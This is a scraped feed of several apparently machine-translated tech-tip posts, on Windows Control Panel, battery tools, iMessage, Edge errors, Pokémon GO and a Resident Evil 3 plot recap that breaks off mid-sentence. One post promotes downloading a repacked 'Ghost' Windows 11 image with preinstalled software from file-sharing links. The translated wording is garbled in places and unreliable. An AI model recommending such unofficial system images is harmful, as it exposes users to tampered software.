access Control Panel on Windows Server 2012.\n1. Open Control Panel with a Shortcut   On the screen, press the Windows + X key combination and select the Control Panel option to open the Control Panel.\n2. Open Control Panel on Start Screen   Press Windows + C key combination then click Start to open Start Screen. Or alternatively, hover your mouse on the lower left corner of the Desktop, click Start .\nOn the Start Screen you will see Control Panel, click on it to open the Control Panel.\n3. Access Control Panel on Desktop\n  On Windows Server 2012 Desktop, hover over the upper right corner of the screen, then click Setting and then click Control Panel.\n4. Launch Control Panel on the Run dialog box   Press Windows + R key combination to open the Run dialog box, then enter the command shell: ControlPanelFolder or enter Control into the Run dialog window and press Enter .\n5. Launch Control Panel with Command Prompt   First, open the Command Prompt then enter the Control command into the Command Prompt window to open the Control Panel.\n6. Access Control Panel via Explorer   Press Windows + E key combination to open Explorer, then enter Control Panel in the address bar and press Enter.\n7. How to add Control Panel on Windows Desktop 2012 Windows Server? Step 1: Use 1 of 6 ways to open the Control Panel.\nStep 2:   On the Control Panel search box, enter \"Desktop\" and press Enter to search.\nStep 3: Click on the Show or hide common icons option on the desktop under Display .\nStep 4:   On the Desktop Icon Settings window, click Control Panel and then click Apply .\nYou can refer to some of the following articles:  Learn about Windows Server 2012 (Part 1)   Learn about Windows Server 2012 (Part 2)   Learn about Windows Server 2012 (Part 3)   Learn Windows Server 2012 (The last part)  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kg27DwLKqZqyfYq6kr8Ssqmabn6PBs7vLZqeappWherC6jLCgp5yfrMBuv8SrrZ6qXWd9cn4%3D\n","link":"/post/6-ways-to-access-control-panel-on-windows-server-2012/","section":"post","tags":null,"title":"6 ways to access Control Panel on Windows Server 2012"},{"body":"Like other hardware, laptop batteries are also an important component of your laptop because laptop batteries are sensitive and can cause a fire if you use them for a long time without maintenance or replacement.\n  Instead of going to a test shop to avoid the school to replace the battery too soon, it is a waste to check the battery capacity through a few reputable battery test software below.\n1. HW Monitor   The HWMonito r utility is a highly rated tool commonly used to measure CPU temperature, HDD, fan speed . quite accurately. Besides, HWMonitor also has the ability to check the battery level on the laptop in the Battery / Levels / Wear Level section .\nLink to download HWMonitor software at https://www.cpuid.com/softwares/hwmonitor.html\n2. BatteryMon   BatteryMon provides battery management with graphical interface and battery level statistics by time and battery percentage. Developed by PassMark Software - a company specializing in performance measurement and scoring applications for various hardware devices, you can safely download and measure the remaining battery capacity on your device. The percentage of your remaining battery will display on the left in the % Life left section ( as in the article, the laptop battery has 71% of the battery left compared to the designed capacity) and on the right you will see the statistics line. more details in Capacity (with a level of 61370 mWh is the current capacity level compared to the original 85750 mWh battery capacity).\nBatteryMon software download link at https://www.passmark.com/products/batmon/\n3. BatteryCare   If you need a small battery app for efficient statistics and battery management, BatteryCare is one of the most convenient and lightweight battery management apps on your computer. Besides, BatteryCare also offers users the following features:\n- Display details about battery: Manufacturer, design capacity, input voltage .\n- Displays battery level in Detailed Information / Wear Level and remaining battery level in Current Capacity .\n- Displays the battery level in use and the estimated remaining time.\n- Measure and display the temperature of the CPU, HDD on the computer.\nBatteryCare software download link at https://batterycare.net/en/download.php\n4. BatteryBar   BatteryBar gives users the convenience and compactness. This is really a battery display application that replaces the default Windows application. The BatteryBar application is always floating in the Taskbar and you just need to hover over to see other parameters such as remaining battery capacity, battery level . In addition, users can customize the icon shown below Task bar is the amount of time remaining or% battery, depending on your usage.\nBatteryBar download link at https://batterybarpro.com/basic.php\nAfter reading this article, you should try to download the software and check the battery on the laptop regularly to conduct the best alternatives and use. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kr6a%2F02ajmqikpL1ursCtq56qqWLBpr%2FToqWgZaOks7XDwKuc\n","link":"/post/best-laptop-battery-testing-software/","section":"post","tags":null,"title":"Best laptop battery testing software"},{"body":"Each type of Pokemon Go in Pokémon Go has different and different powers, including the same type. Index of Combat Power (CP), Hit Points (HP), attack index, defense index are 4 indicators that determine the ability of attack as well as the power of 1 Pokemon. Based on these indicators, gamers can plan the selection of Pokemon suitable for attack tactics, as well as defense for the gym.\nIn the previous article, we brought you the article Maximum Index of Pokémon types in Pokémon GO. Continuing with the theme of the most powerful Pokemon, Network Administrator will summarize you to read the most powerful Pokemon types, based on 4 important indicators of a Pokemon\n1. 10 strongest Pokemon based on CP: See more articles Things to know to upgrade Pokémon in Pokémon Go CP index represents the power of each Pokemon. Which type of Pokemon has a higher CP, means the combat ability of that type is also strong.\nMewtwo [Psychic - Legendary Pokemon] Dragonite [Dragon / Flying] Mew [Psychic - Pokemon legend] Moltres [Fire / Flying - Legendary Pokémon] Zapdos [Lightning / Flying - Legendary Pokemon] Snorlax [Normal] Arcanine [Fire] Lapras [Water / Ice] Articuno [Ice / Flying - Legendary Pokemon] Exeggutor [Grass / Psychic]   2. The 10 most powerful Pokemon according to the attack index: Attack - the attack is an indicator that shows the level of Pokemon's injury, when using physical moves to reduce the abilities and defense of the enemy. A physical attack has a certain strength. However, to be able to attack as well as defeat the enemy or not will be based on the Attack index of Pokemon type attack and Defense Defense index of Pokemon suffered.\nMewtwo [Psychic - Legendary Pokemon] Dragonite [Dragon / Flying] Moltres [Fire / Flying - Legendary Pokemon] Flareon [Fire] Zapdos [Electric / Flying - Legendary Pokemon] Exeggutor [Grass / Psychic] Arcanine [Fire] Victreebell [Grass / Poison] Mew [Psychic - Pokemon legend] Magmar [Fire]   3. 10 types of Pokemon with the greatest defensive ability: Denfense - defense index, physical attack ability of a Pokemon. If the defense is high, it will increase the resistance to the attack of another attacking Pokemon. However, this Defense index only develops when subjected to physical attacks only.\nArticuno [Ice / Flying - Legendary Pokemon] Blastoise [Water] Mew [Psychic - Pokemon legend] Dragonite [Dragon / Flying] Hitmonchan [Fighting] Poliwrath [Water / Fighting] Mewtwo [Psychic - Legendary Pokemon] Omastar [Rock / Water] Marowak [Ground] Venusaur [Grass / Poison]   4. 10 Pokemon have the highest HP strength: Hit Points - the amount of health for a Pokemon will be indicated by this indicator. As gamers all know, every Pokemon has a certain health. And if attacked until the HP level of 0 will lead to Faint, unable to participate in any match.\nSee also How to revive Pokemon in Pokémon GO\nChansey [Normal] Snorlax [Normal] Wigglytuff [Normal / Fairy] Lapras [Water / Ice] Vaporeon [Water] Jigglypuff [Normal / Fairy] Mewtwo [Psychic - Legendary Pokemon] Muk [Poison] Rhydon [Ground / Rock] Kangaskhan [Normal]   Above are the 10 most powerful types of Pokemon in 4 groups of CP, HP, stamina and defense. Owning some of these types of Pokemon will give your team a chance to win against your opponent. So how many of the most powerful Pokemon in the list above?\nRefer to the following articles: How to catch Pokemon rare in Pokemon GO Trick to evolve Eevee - Potential Pokémon in Pokémon Go Pokémon systems when fighting in Pokémon Go Wish you all have fun playing games!\nncG1vNJzZmismaXArq3KnmWcp51ksKmxwqRkqK2kYsGpsYybrJ%2BekaG8brzOpJymp55itq95z6iinqWfo3qouw%3D%3D\n","link":"/post/check-out-the-buffalo-pok%C3%A9mon-in-pok%C3%A9mon-go/","section":"post","tags":null,"title":"Check out the 'buffalo' Pokémon in Pokémon Go"},{"body":"After the launch of Ghost Win 11 Pro No Soft v1.0, and as usual, today I will introduce the full version of Windows 11 with the latest Ghost Win 11 Pro Full Soft v1.0 2021, integrated Full range of popular software for computer users!\nAfter the launch of Ghost Windows 11 Pro No Soft v1.0, and as usual, today I will introduce the full version of Windows 11 with the name Ghost Windows 11 Pro Full Soft v1.0 latest 2021, integrated Full range of popular software for computer users!\n1. Information Ghost Win 11 Pro Full Soft v1.0 Made from Microsoft's Dev version of Windows 11 21996.1 installer The Ghost Win version has been installed, optimized, tweaked, . multi-configured Suitable for: Office, Gamer, Design, Graphics, Students, … All the most popular application software is pre-installed on the computer. 2. Ghost Win 11 Pro Full Soft v1.0 . image   Ghost Win 11 Pro's desktop interface\n  Some basic information of Ghost Win 11 Pro\n  List of pre-installed tool application software\n3. Link to download Ghost Win 11 Pro Full Soft v1.0 Prefer to use Ghost ISO Windows version because of its light capacity, less error when extracting Ghost !\n– Standard Legacy MBR . hard drive VERSION 64 BIT Download Win-11-Pro-FS-64-LECAGY-v10.GOOD Link: Google Drive \u0026amp; OneDrive \u0026amp; Fshare SHA1: AE73BA5CD73BE045C67F7728446C7D945C93C36B   – UEFI standard GPT . hard drive VERSION 64 BIT Download Win-11-Pro-FS-64-UEFI-v10.TIB Link: Google Drive \u0026amp; OneDrive \u0026amp; Fshare SHA1: EF670261FE4939550F65828F8EA4DEA8B56FFBD3   – Ghost ISO Windows (Legacy + UEFI) VERSION 64 BIT Download Win-11-Pro-FS-64-v10.ISO Link: Google Drive \u0026amp; OneDrive \u0026amp; Fshare SHA1: 1905BCC10B1F3631AB94C67C96A39457CCD3B2CA   ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdnLWwv9NmrqKmlKTEtHmQamSpqp9is7a4y2aqqJ6kYsNyfIybnKysXaOyuHnSrZinnJGnsW5%2Bj2to\n","link":"/post/download-ghost-windows-11-pro-full-soft-v1-0-best-new-standard-2021/","section":"post","tags":null,"title":"Download Ghost Windows 11 Pro Full Soft v1.0 Best New Standard 2021"},{"body":" You need to connect several applications but you are out of a real COM port? The virtual COM port emulator will help you to solve the issue. It is treated by the system just like real COM ports and does its work perfectly. Read on in this...\nSteps  Download virtual COM driver and install it on your computer.\n  After running the application, click Next to continue installation process.\n  Choose Manage ports tab in Main window. You can either type required virtual com manually or choose it from the drop down menu list.\n  Click Add pair button. After the pair was created, new ports have to appear in Serial Ports Explorer and in your system Device Manager.Now you can create a large number of new pairs.\n  In case you want to remove one of the serial port pairs. You have to select a virtual pair in Serial Ports Explorer and switch to 'Manage port' tab. Then click 'Delete pair'.\n  David Pac Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyvoKuspZa5bq%2FOpmSpp6Kperi106Fkr6ugmQ%3D%3D\n","link":"/post/how-to-create-virtual-com-port-with-vspd/","section":"post","tags":null,"title":"How to Create Virtual Com Port with VSPD"},{"body":"Microsoft Edge is the 2nd most popular browser after Chrome and it also often has problems. There is an annoying problem that you often encounter is 'Can't reach this page' when accessing a website on Microsoft Edge browser. This article TipsMake will guide you on how to fix the error.\nCheck before correcting Before you try to fix the error, you should check if the error is in these 2 cases or not?\nCase 1: The website, that server is down Case 2: The site has been blocked in your region The first case is force majeure and you can only wait for the website owner to fix the problem. In the second case, you can use a VPN to change the IP zone and access the website as usual.\nFirst, you need to run other websites in your browser to see if the problem lies with the website to be checked. If everything is working properly, run the website using another browser or another computer.\nIf other browsers and computers can access the website and you can't, continue reading the article and fix the error. In case the site goes down everywhere, it's not your fault.\n1. Check Internet Connection When you cannot access any website using Microsoft Edge, make sure you are connected to the Internet properly.\nCheck the Wi-fi or Lan network icon in the lower right corner to see if the network is connected normally. If the network has been disconnected, you must check the line or modem again.\n  2. Change DNS Server Changing to Google or Cloudflare DNS servers will help you solve website connection problems, and even increase your network speed.\nStep 1: Open Control Panel on your computer, go to Network and Internet settings.\n  Step 2: Click on Network and Sharing Center \u0026gt;\u0026gt; Change adapter settings.\n  Step 3: Right-click on your network and select Properties.\n  Step 4: Find Internet Protocol Version 4 (TCP/IPv4) and double-click it.\n  Step 5: Check the box Use the following DNS server addresses, then enter one of the two addresses below.\nGoogle DNS\n8.8.8.8 8.8.4.4 Or\nDNS Cloudflare\n1.1.1.1 1.0.0.1   Step 6: Click OK to save the changes. You check to see if the error has been fixed or not.\n3. Disable IPv6 IPv4 and IPv6 are the two main types of IP addresses today. When connecting to a website, your connection will first find the IPv6 address. If IPv6 is not available, it will use the IPv4 address.\nAlthough IPv6 is faster than IPv4, it can cause the problem of not knowing the IP. To avoid this error, you should disable IPv6.\nLet's go back to the network Properties window as above. Then uncheck Internet Protocol Version 6 (TCP/IPv6).\n  Finally click OK to save the changes. Then, restart the Edge browser to see if the error is fixed or not.\n4. Disable Microsoft Edge Extensions One of the most drastic solutions is to disable all extensions in the Microsoft Edge browser. In particular, you need to pay attention to ad blocking utilities or browser-intensive access utilities.\nClick the Extensions icon to open Manage Extensions.\n  Disable all extensions in your browser.\n  In case this fix does not help, you may need to reinstall Microsoft Edge.\n5. Reset the browser Now you need to reset Microsoft Edge to return all settings to default.\nStep 1: Click on the 3 dots in the top right corner and then select Settings.\n  Step 2: On the left menu of the Settings page, select Reset Settings.\n  Step 3: Click Restore settings to their default values ​​\u0026gt;\u0026gt; Reset.\n  Hopefully one of the above fixes has helped you solve the problem. Thank you for following the article.\nfix Can't Reach This Page error on microsoft edge ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqkrc2tZKudkZi1bsDHoqpmqJGcsm6x0aumq2Wfo3qutcKrpqynlql6prDGng%3D%3D\n","link":"/post/how-to-fix-can-t-reach-this-page-error-on-microsoft-edge/","section":"post","tags":null,"title":"How to Fix 'Can't Reach This Page' Error on Microsoft Edge"},{"body":"iMessage is an application that Apple has built into its devices (iPhone, iPod Touch, iPad, Apple Watch and Mac). IPhone, iPod Touch, iPad, Apple Watch and Mac users can send and message for free to each other via iMessage. This feature is built into the device and only needs to be activated, Wifi or 3G connection, users can send messages, images, videos completely free for devices using iOS 5 and above.\nPart 1. Use iMessage on iPhone, iPad and iPod Touch You can use Messages to send messages, images, videos and audio files. And you can even edit your messages with motion effects, iMessages apps and more in the Messages application.\n1. Send a message First open Messages . Click on the icon for the book and pen (  ), then enter a contact or you can open an existing conversation. Click to select the text frame, then enter your message. After entering the message content, click the arrow icon  to send a message. 2. Forward a message Open a message, then follow the steps below:\nPress and hold the message you want to forward, then click More .\n  Click the arrow icon  , then enter a contact. Click the icon  to send news.\n  3. Delete a message or a conversation When deleting a message or a conversation you cannot bring that message or conversation back.\nSo make sure you save your important information on Messages.\nTo delete a message, follow the steps below:\nDuring the conversation, press and hold the message you want to delete , then tap More . Click the trash icon, then click Delete Message . If you want to delete all messages, click Delete All in the bottom left corner. To delete a conversation, follow the steps below:\nOpen Messages . Swipe left the conversation you want to delete. Click Delete . If you want to delete multiple conversations at once, open the Messages application then click Edit in the bottom left corner. Click the circle icon next to the conversation, then click Delete at the bottom right corner of the screen.\nIf you want to save the message for a certain period of time, go to Settings =\u0026gt; Messages =\u0026gt; Keep Messages . Then select the time period in which you want to store the message.\n4. Use Predictive text With Predictive text, you can compose messages with just a few steps. When writing a message you will see options for the word and phrase you are typing. To turn off Predictive text, press and hold the icon  or  , then click on the slider next to Predictive.\n5. Mute the conversation   To stop receiving notifications every time a new message arrives, you can mute the conversation. Access the conversation you want to mute. Then click the i- shaped icon located in the circle and open the Do Not Disturb.\nWhen Do Not Disturb is opened, you will see a crescent moon icon  appears next to the message conversation.\nThis feature helps you turn off any message tones in a conversation, but you will still receive other messages and see the message notifications on the Lock Screen lock screen.\nAlso you can turn off all chats by activating Do Not Disturb. Access Settings =\u0026gt; Do Not Disturb and select Manual or Scheduled to turn off all notifications on your device.\n6. Find the attachment in the conversation Open the conversation, then click the i- shaped icon in the circle in the top right corner. You will see entries for images and attachments. Click the image or attachment to open it. Alternatively, you can click and hold the image and the attachment will display options such as Copy, Delete, etc.\n7. Submit and share your location To send or share your location on Message , follow the steps below:\n1. Open the conversation, then click the i symbol located in the circle in the top right corner.\n2. Click to select Send My Current Location\nYour recipient will see your location on the map. Or click Share My Location (share my location).\nThen, choose the length of time you want to share your location. You can share within an hour, a day, or indefinitely. Messages will set up a temporary or permanent location of Find My Friends, depending on what you choose.\n  Part 2: Using Messages on Mac Messages are messaging software available for both Macs. You can use this software to send messages from iMessages or other messaging services.\nWith Messages for Mac, you can send unlimited messages to devices like Mac, iPhone, iPad or iPod touch using iMessages application, Apple's secure messaging services.\nIn addition, the application also supports fairly active messaging services on Apple devices and non-Apple devices. IPhone users can use SMS and MMS messaging applications.\n  1. Set up iMessages iMessage is Apple's messaging service, and you will automatically be linked to your Apple ID . If the setting is not ready, you will be asked to log in for the first time to open the Messages application. Sign in with the same Apple ID account you use for Messages on iPhone phones and other devices.\nThe Apple ID account here is the Apple ID account that you use on iCloud, iTunes Store, App Store and the accounts you created when setting up the Mac.\nTo add a third messaging service, select Add Account from the Message Menu . Then select an account provider and follow the instructions on the supplier's screen.\n  To disable a messaging service or change settings, from the Messages menu select Preferences , then click Accounts .\n2. Make a conversation 1. Click on the icon  in the top corner of the Message window.\n2. Enter the address of the recipient, recipient name, email address or phone number. Or click the (+) icon and select a recipient. If the recipient is in your contacts application, Messages will find that username when you enter the name.\nTo start a group chat, just add recipients to the conversation and you're done.\n3. Enter your message in the message box at the bottom of the window, then click Return to send the message.\nTo add emoji (emoticons), click the icon  . To add images or files , simply drag and paste the image, the file into the Message frame. To add audio recording files , click the icon  and record your message. 4. After starting the conversation, click Details in the left corner of the window to add additional actions, including:\nChoose not to be bothered by chat notifications. Use FaceTime to start recording voice calls  or video call  . Screen sharing  . See the location of the recipient - if they share the location for you. Preview all photos and files exchanged in the conversation. Add a group name, add another person to the group, leave the group. If your group has 4 or more members, then you can delete the member: Click the member name you want to delete from the group, then select Remove from Conversation.   With macOS Sierra, you can also use Siri to send, read and reply to messages on Messages.\n3. Add Tapback to Message On macOS Sierra Apple has introduced Tapback.Tapback will respond quickly to what you think of a message, such as whether you like it or think it's interesting.\nClick on the message frame to open the shortcut menu . Select Tapback from Menu. Click Tapback to add the message frame. Tapback is visible to all users in the conversation who are using iMessage with macOS Sierra or iOS 10. Other users will see icons like Like, Laugh at or Emphasize.\n  iPhone, iPad and iPod Touch also have Tapback as well as other effects.\n4. Send text messages to other people on Mac If you use iPhone and you want to save mobile data, you can set up Messages to send and receive SMS, MMS on Mac.\nOn iPhone, open Settings =\u0026gt; Messages =\u0026gt; Send \u0026amp; Receive . Add phone numbers and email addresses. Next open the Settings =\u0026gt; Messages =\u0026gt; Text Message Forwarding application , then choose to allow Mac to send and receive messages from your iPhone phone. Get a confirmation code on your Mac, then enter this confirmation code on your iPhone phone. Part 3: Read and reply to messages on the Apple Watch 1. Read a message To view all your messages, press the Digital Crown button (the control button next to the clock), then press select  . If you want to add Messages to Dock, you can also transfer Messages to Dock .\nTo view message notifications, simply raise your wrist to view or swipe down from the watch face.\n2. Reply to a message To reply to a message, scroll down to the bottom of the message, then select an option. On the latest versions of watchOS and iOS users can send messages that are available, .\nTo use an available reply message, scroll down to the message, then select a reply message . You can also create your own answers on the Apple Watch app.   To send emoji (emoticons), click the icon  , swipe left or right, then use Digital Crown to see other options. Then click Send to send.   To send a message using handwriting or a sticker, click the icon  , swipe right to write a handwritten message and sticker, then press select one to send.   To display your location on the map, press and hold on the screen while you watch a conversation, then click Send Location.   To reply to the message using Digital Touch , click the icon  , then you can send a sketch, .   To use Tapback, double-click a message, then click on a Tapback such as heart shape, Like button, .   3. Send a new message You can use Siri to create a new message. Alternatively, you can follow the steps below:\nClick the Digital Crown button to open the Home screen screen , then click select  . Press and hold on the screen, then click New Message . Click Add Contact . You can press a contact on the list, click select  to add multiple contacts. Create your message. 4. Create a reply message available To create a custom reply message available, open the Apple Watch app on your iPhone phone, then click the My Watch tab, then access Messages =\u0026gt; Default Replies .\nClick to select a default reply message to change the message. To delete the default reply message available or change the order, click Edit .\n5. Delete a conversation To delete a conversation, swipe left, then tap Trash .\n6. Support without receiving or not sending messages Check to see if you can send and receive messages on iPhone phones. Make sure your Apple Watch can connect to iPhone phones. To check the connection, open Control Center on Apple Watch, then click select  . If connected, your iPhone will make a sound . If you see the icon on the clock, turn off the Do Not Disturb feature. Check if the phone number or Apple ID of your friends or relatives is correct. Log out of iMessages on your iPhone phone. If you are logged in with Apple ID, click Apple ID =\u0026gt; Sign Out. Turn off iMessages on your iPhone phone, then proceed to reopen again. Log in to iMessage again on your iPhone. Restart Apple Watch and iPhone phone. Unpair the Apple Watch, then proceed to pair it again. Refer to some of the following articles: How to install and use the iMessage app store on Message iOS 10 application How to know if someone has read your message on Facebook Message? How to delete iMessage application on iOS 10? Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqqucSsqpqflWK8r3nIqZ%2BoppVitrGtw2agqaeUYsGwwcKhZKaZk2Kur7CMmqeppJVixKLAwqE%3D\n","link":"/post/how-to-use-imessage-on-iphone-ipad-ipod-touch-mac-and-apple-watch/","section":"post","tags":null,"title":"How to use iMessage on iPhone, iPad, iPod touch, Mac and Apple Watch"},{"body":"Apple's Shortcuts application continues to impress with a series of seemingly endless possibilities, such as setting a reminder to remember brushing or getting directions to the next event.\nOne of the most popular applications, Shortcuts are a quick and easy way to tweak your home screen. Because Apple has long resisted personal customization on smartphones, the solution is to respond to this problem.\nBasically, this shortcut creates a new button for your favorite application, assuming Facebook, and swapping the traditional icon with something else you choose. You can swap it with any other icon from the app store or upload your own icon. This may seem complicated, but once you've solved the first two icons, it's hard to stop until every app looks really different.\nBegin The most important step to get started is installing Shortcuts applications on your device. That is easily done by opening this link from your iPhone. Very easy, right? Now, in Shortcuts application, click on the shortcut and you will see a menu appear like the image below.\nPlease select the second option, ' Launch App URL scheme '.\n  URL Scheme The next pop-up window asks you to enter 'URL scheme'. This may sound a bit technical, but it's really super easy. 'Scheme' is only part of the URL, similar to the traditional URL with 'http:////'. In this case, we will enter the name of the application you want to follow by ': //'. In other words, for Twitter, you will enter 'Twitter: //'.\n  \nAdd a command title After adding the scheme, the Shortcuts application will ask you to enter the command title. Again, what really sounds like this technique is just to ask what you want to call the new application. You can call it \"Twitter\", \"The Good Place\", \"Jack's Creation\", \"My Favorite App\", or any other name you like.\n  \"Hunting\" icons Up to now, you have overcome most of the technical \"hard\" parts. Now let's move on to another interesting part. The next pop-up window in the app wants you to search the app store for any icons to use. You can search on the iOS App Store or Mac App Store.\nPlease search for 'Twitter' and click Done. You will see a list of most of the Twitter applications available on the App Store. The Twitterrific application icon looks very nice, so choose it. From here, you can go to the next step or go back and start looking for another icon.\n  Add to the main screen This step is quite simple because Apple has added instructions right on the screen. Click the Share button , then click ' Add to Home Screen ' and Safari will do the rest. Back to your main screen, you will see a new icon and it looks beautiful.\nThere is a small warning for this whole process. Because the application requires using Shortcuts to create custom icons, clicking the icon will open the Shortcuts app before opening the application you want. In other words, once you click on your icon, there will be a delay of two to three seconds before Twitter opens. To be able to customize the main screen, you will need to pay a small fee, even if it is not officially supported by Apple.\n  The aforementioned instructions are great if you just want to open the Twitter application. What if you want to open the application directly to compose a new tweet? Doing that is easy, by repeating all the instructions, except this time, your 'scheme' URL will be 'twitter: // new'.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq0tdGiZKygn6fBpMHTrGStp12nsrG4wJycZqyYmnqqu9JmmKmoXZ6wsLo%3D\n","link":"/post/how-to-use-siri-shortcuts-to-replace-the-ios-app-icon/","section":"post","tags":null,"title":"How to use Siri Shortcuts to replace the iOS app icon"},{"body":"This means that a build of Windows 11 running through the virtualization process will not receive additional updates from Microsoft at all, if it does not meet the requirements related to TPM 2.0.\nSo basically, current virtual machines will also need to meet the same criteria as regular host systems to be able to run Windows 11.\nIn preparation for the above request, Oracle seems to be rushing to deploy a new driver package for VirtualBox through which users can make the transition to using its TPM module. host machine to meet the requirements of Windows 11. In fact, VirtualBox Changeset number 90946, released on August 27, also mentioned this new change. As follows:\n'Security: Start implementing a driver for passing through a host TPM, bugref:10075'   In general, the above timely and effective change shows that Oracle was soon aware of the need for TPM requirements on Windows 11 for virtual machine environments. This requirement has only been officially announced by Microsoft a little while ago with build 22000.194 released on Beta Channel. Other VM environments, like VMWare, now also offer the option to enable virtual TPM (vTPM) deployment on their Workstation Pro platform.\nVirtualBox is a free and open source virtualization tool that can help you create an emulator on your Windows system. The application is fully customizable and offers great performance and flexibility.\nncG1vNJzZmismaXArq3KnmWcp51kuqax02arqaVdZ31uvsSqrKKqlaKyr8DSZq6ippSkxLR5kGpknJmeYsSwvspmrqKsmGLDqr7Trpilmp%2Bt\n","link":"/post/meet-tpm-2-0-requirements-windows-11-can-work-with-virtualbox/","section":"post","tags":null,"title":"Meet TPM 2.0 requirements, Windows 11 can work with VirtualBox"},{"body":"Continuing with the evolution of the Resident Evil 3 Remake plot , after Nemesis attacked the train and was killed by Mikhail, the subway train derailed and hit the pillars on the road and stopped between. Street. At the same time, Carlos and Tyrell went to the Raccoon police headquarters with the task of contacting Dr. Nathaniel Bard - who had information about the vaccine that could save the lives of those who were infected by the virus. The police department was in complete chaos, with rows of zombies struggling outside.\n Plot Resident Evil 3 Remake: Escape from the dead city - Part 1 Basically the Resident Evil 3 Remake story is not much different from the original, but it has been omitted some side details.\nCarlos and Tyrell, while finding their way in, caught two police officers struggling outside, one of them was Brad Vickers - he was almost about to turn into a Zombie, the other was Marvin Branagh - the policeman that Leon met in part 2. For some reason but Brad still has a bit of a rational mind, when he apologized to Marvin, causing his teammates to hesitate a bit, operating This operation paid for a price when Marvin was bitten by Brad, he then ran away in bewilderment.\n Marvin Branagh and Brad at the police headquarters\nCarlos immediately killed Brad and took the electronic card on him, while Tyrell took the opportunity to unlock. The two go inside but do not see Marvin, now the doors of the headquarters are locked to prevent the Zombie from running out. Tyrell sneaked into the camera system and assumed that the STARS office would have a communication system strong enough for them to connect with Dr. Bard, so Carlos would be responsible for opening the way while Tyrell stayed looking. some.\nSince the doors were locked behind, Carslos had to make a detour from the secondary corridor to the second floor. He quickly saw the two policemen caught by something and sliced ​​through his head, which quickly revealed that a Licker was hiding on the ceiling before being shot dead by Carlos. Entering the STARS office, they finally got in touch with Dr. Bard, who screamed and ordered Carlos' group to save him, the location of the city's hospital.\nDr. Bard particularly emphasized that he was the only one who had the vaccine, as the Umbrella superiors had ordered the entire research team to be killed to provide clues, so Carlos needed to act as quickly as possible. While preparing to leave, Carlos received a call from Jill about the accident on the train, as well as the betrayal of Nikolai but the signal was interrupted halfway, so Carlos ran to rescue Jill first.\n Dr. Bard in the story of Resident Evil 3 Remake\nBack to Jill, she was lucky to survive the accident, accidentally the train was trapped right under the sewers near the city's bell tower. As Jill was making her way back, she realized that the monster Nemesis was still not dead, from the flames it rushed out and into the nearby river, the flames on the ship accidentally burned Nemesis' outer layer. and made it evolve into a new form, walking on all fours as well as having much greater power.\nNemesis chased Jill as far as the square near the bell tower, where Jill had used the grenade launcher that had just taken a shot at Nemesis' mortal wound, but in the dying, it still managed to shoot a thorn in her shoulder, which caused Jill to be viral infection. Nikolai suddenly appeared and sarcasm Jill for doing her part, she fainted with the corpse of the monster lying nearby.\nIt took more than half a day for Carlos to find Jill's place (Nemesis was still lying nearby at this time), he contacted Tyrell and made an appointment at the hospital, hoping that Dr. Bard's vaccine would saved Jill.\n Jill fights Nemesis in her second form\nCarlos takes Jill to the hospital and temporarily leaves her in an empty room, he fumbles his way to Dr. Bard's office, but unfortunately he was killed by someone shortly (this guy is Nikolai). While searching for the Vaccine store, Carlos accidentally opened a video of Bard, in which he with regretful attitude said that the disaster in Raccoon City is actually due to a leak of a biological weapon. named T-Virus.\nBard's team were the ones who were ordered to prepare the antidote, but when disaster struck, Umbrella was afraid of the leaked information and tried to kill them all, making it the main task of UBCS soldiers like Carlos was not rescuing, but killing. Bard was lucky to escape, but was eventually found by Nikolai, but he promptly revealed information that all the remaining vaccines were located in the hospital storehouse, enough for everyone.\nCarlos took a sample of the remaining Vaccine and injected it with Jill, just as Tyrell also arrived but in a state of injury, he turned on the television and showed a horrible announcement, when the government decided to shoot a nuclear missile. The people destroyed Raccoon City and they needed to find an escape route as soon as possible.\n Carlos vaccines to save Jill\nWhile waiting for Jill to wake up, Carlos realized that the zombies following Tyrell had found the gate of the hospital, he jumped to stop them and used the remaining explosives to blow up the main pillar, thereby blocking the child. main road. Because Jill was still in a coma, Carlos decided to go down alone to find some vaccines in the hospital underground, hoping that this would cause the government to change his mind about not needing to bomb the city anymore. Jill regains consciousness thanks to the vaccine's use, but the pile of information she hears from Tyrell is surprising, as the time limit for the bombing is just over an hour away and Carlos cannot reach it, because that Jill decided to find him.\nTyrell said that he had reached out to the leaders, they would temporarily stop the command if they knew there was a vaccine, so this was their last chance to survive. Jill breaks the lock and finds his way down to the hospital's underground storage, which turns out to be Umbrella's transit place with a huge warehouse system to cover the eyes of the world.\nShe also met Nikolai again but was unable to catch him, Tyrell joined Jill on the way to the inside, but Nemesis suddenly appeared to take Tyrell and kill him instantly. Jill took this opportunity to escape and cut off the monster, before realizing he was standing in a strange research station.\n Nemesis killed Tyrell\nIt turned out that the underground storage system, Umbrella also built an independent research station just below the hospital underground. This place is basically similar to the Nest area in Resident Evil 2 but on a smaller scale, Jill finds a lot of important information like the monster Nemesis which is a model developed by the European Umbrella branch, as well as Hunter and Tyrant hordes are also cultured in this research station.\nJill successfully obtained an entire sample of Vaccine as evidence, but once again she was caught up by Nemesis, and both of them struggled, causing the nearby fuel tank to explode and accidentally make Nemesis lose track of her prey. . Jill fled to the garbage disposal area but the bad luck of the stairs here collapsed causing her to drop the Vaccine vial, just then Nikolai appeared to steal the Vaccine and kick Jill down as bait for Nemesis.\nFortunately, thanks to Carlos' help, Jill temporarily injured Nemesis and thanks to the system that needed to move the cargo upward, Carlos then spilled acid into the area to drown Nemesis. The two do not have much time to talk when they must immediately chase Nikolai, because he is holding Vaccine as the only survivor.\n Nikolai stole the Vaccine from Jill\nJill found Nikolai on the way to the heliport, but when they were still chatting, Nemesis suddenly broke through the wall. Now transformed into a giant monster with an attached body, Nemesis' limbs clung to the wall and sealed off the surrounding area. After instructing Carlos to chase Nikolai, Jill is determined to stay and deal with his enemy once and for all. Thanks to the new energy weapon system that Umbrella had just installed to increase security, Jill fired through Nemesis' chest with the Railgun, before stabbing into its mouth again to end the tough monster's life. like this leech.\nAt heliport Jill found Nikolai and Carlos fighting, Nikolai knocked Carlos out and smashed the Vaccine, when he revealed that his customers had changed their mind to destroy Umbrella. Carlos did not fight back with Nikolai but still risked his life and hugged him and told 